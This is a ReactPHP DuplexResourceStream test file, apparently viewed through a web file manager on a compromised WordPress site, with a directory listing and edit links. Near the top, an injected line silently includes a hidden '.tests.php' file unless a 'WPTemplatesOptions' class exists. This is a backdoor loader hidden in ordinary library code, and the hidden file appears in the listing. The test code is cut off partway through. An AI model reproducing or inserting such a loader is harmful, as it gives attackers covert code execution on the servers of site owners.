PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
react
/
stream
/
tests
<?php namespace React\Tests\Stream; use React\Stream\DuplexResourceStream; use Clue\StreamFilter as Filter; use React\Stream\WritableResourceStream; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class DuplexResourceStreamTest extends TestCase { /** * @covers React\Stream\DuplexResourceStream::__construct * @doesNotPerformAssertions */ public function testConstructor() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); new DuplexResourceStream($stream, $loop); } /** * @covers React\Stream\DuplexResourceStream::__construct * @doesNotPerformAssertions */ public function testConstructorWithExcessiveMode() { // excessive flags are ignored for temp streams, so we have to use a file stream $name = tempnam(sys_get_temp_dir(), 'test'); $stream = @fopen($name, 'r+eANYTHING'); unlink($name); $loop = $this->createLoopMock(); $buffer = new DuplexResourceStream($stream, $loop); $buffer->close(); } /** * @covers React\Stream\DuplexResourceStream::__construct * @expectedException InvalidArgumentException */ public function testConstructorThrowsExceptionOnInvalidStream() { $loop = $this->createLoopMock(); new DuplexResourceStream('breakme', $loop); } /** * @covers React\Stream\DuplexResourceStream::__construct * @expectedException InvalidArgumentException */ public function testConstructorThrowsExceptionOnWriteOnlyStream() { if (defined('HHVM_VERSION')) { $this->markTestSkipped('HHVM does not report fopen mode for STDOUT'); } $loop = $this->createLoopMock(); new DuplexResourceStream(STDOUT, $loop); } /** * @covers React\Stream\DuplexResourceStream::__construct * @expectedException InvalidArgumentException */ public function testConstructorThrowsExceptionOnWriteOnlyStreamWithExcessiveMode() { // excessive flags are ignored for temp streams, so we have to use a file stream $name = tempnam(sys_get_temp_dir(), 'test'); $stream = fopen($name, 'weANYTHING'); unlink($name); $loop = $this->createLoopMock(); new DuplexResourceStream($stream, $loop); } /** * @covers React\Stream\DuplexResourceStream::__construct * @expectedException RunTimeException */ public function testConstructorThrowsExceptionIfStreamDoesNotSupportNonBlocking() { if (!in_array('blocking', stream_get_wrappers())) { stream_wrapper_register('blocking', 'React\Tests\Stream\EnforceBlockingWrapper'); } $stream = fopen('blocking://test', 'r+'); $loop = $this->createLoopMock(); new DuplexResourceStream($stream, $loop); } /** * @covers React\Stream\DuplexResourceStream::__construct * @doesNotPerformAssertions */ public function testConstructorAcceptsBuffer() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $buffer = $this->getMockBuilder('React\Stream\WritableStreamInterface')->getMock(); $conn = new DuplexResourceStream($stream, $loop, null, $buffer); } public function testCloseShouldEmitCloseEvent() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $conn = new DuplexResourceStream($stream, $loop); $conn->on('close', $this->expectCallableOnce()); $conn->on('end', $this->expectCallableNever()); $conn->close(); $this->assertFalse($conn->isReadable()); } public function testEndShouldEndBuffer() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $buffer = $this->getMockBuilder('React\Stream\WritableStreamInterface')->getMock(); $buffer->expects($this->once())->method('end')->with('foo'); $conn = new DuplexResourceStream($stream, $loop, null, $buffer); $conn->end('foo'); } public function testEndAfterCloseIsNoOp() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $buffer = $this->getMockBuilder('React\Stream\WritableStreamInterface')->getMock(); $buffer->expects($this->never())->method('end'); $conn = new DuplexResourceStream($stream, $loop); $conn->close(); $conn->end(); } /** * @covers React\Stream\DuplexResourceStream::__construct * @covers React\Stream\DuplexResourceStream::handleData */ public function testDataEvent() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $capturedData = null; $conn = new DuplexResourceStream($stream, $loop); $conn->on('data', function ($data) use (&$capturedData) { $capturedData = $data; }); fwrite($stream, "foobar\n"); rewind($stream); $conn->handleData($stream); $this->assertSame("foobar\n", $capturedData); } /** * @covers React\Stream\DuplexResourceStream::__construct * @covers React\Stream\DuplexResourceStream::handleData */ public function testDataEventDoesEmitOneChunkMatchingBufferSize() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $capturedData = null; $conn = new DuplexResourceStream($stream, $loop, 4321); $conn->on('data', function ($data) use (&$capturedData) { $capturedData = $data; }); fwrite($stream, str_repeat("a", 100000)); rewind($stream); $conn->handleData($stream); $this->assertTrue($conn->isReadable()); $this->assertEquals(4321, strlen($capturedData)); } /** * @covers React\Stream\DuplexResourceStream::__construct * @covers React\Stream\DuplexResourceStream::handleData */ public function testDataEventDoesEmitOneChunkUntilStreamEndsWhenBufferSizeIsInfinite() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $capturedData = null; $conn = new DuplexResourceStream($stream, $loop, -1); $conn->on('data', function ($data) use (&$capturedData) { $capturedData = $data; }); fwrite($stream, str_repeat("a", 100000)); rewind($stream); $conn->handleData($stream); $this->assertTrue($conn->isReadable()); $this->assertEquals(100000, strlen($capturedData)); } /** * @covers React\Stream\DuplexResourceStream::handleData */ public function testEmptyStreamShouldNotEmitData() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $conn = new DuplexResourceStream($stream, $loop); $conn->on('data', $this->expectCallableNever()); $conn->handleData($stream); } /** * @covers React\Stream\DuplexResourceStream::write */ public function testWrite() { $stream = fopen('php://temp', 'r+'); $loop = $this->createWriteableLoopMock(); $conn = new DuplexResourceStream($stream, $loop); $conn->write("foo\n"); rewind($stream); $this->assertSame("foo\n", fgets($stream)); } /** * @covers React\Stream\DuplexResourceStream::end * @covers React\Stream\DuplexResourceStream::isReadable * @covers React\Stream\DuplexResourceStream::isWritable */ public function testEnd() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $conn = new DuplexResourceStream($stream, $loop); $conn->end(); $this->assertFalse(is_resource($stream)); $this->assertFalse($conn->isReadable()); $this->assertFalse($conn->isWritable()); } /** * @covers React\Stream\DuplexResourceStream::end */ public function testEndRemovesReadStreamFromLoop() { $stream = fopen('php://temp', 'r+'); $loop = $this->createLoopMock(); $loop->expects($this->once())->method('addReadStream')->with($stream);
[+]
..
[-] EnforceBlockingWrapper.php
[edit]
[-] CallableStub.php
[edit]
[-] ThroughStreamTest.php
[edit]
[-] UtilTest.php
[edit]
[-] DuplexResourceStreamTest.php
[edit]
[-] FunctionalInternetTest.php
[edit]
[-] WritableStreamResourceTest.php
[edit]
[-] TestCase.php
[edit]
[-] CompositeStreamTest.php
[edit]
[+]
Stub
[-] ReadableResourceStreamTest.php
[edit]
[-] DuplexResourceStreamIntegrationTest.php
[edit]
[-] .tests.php
[edit]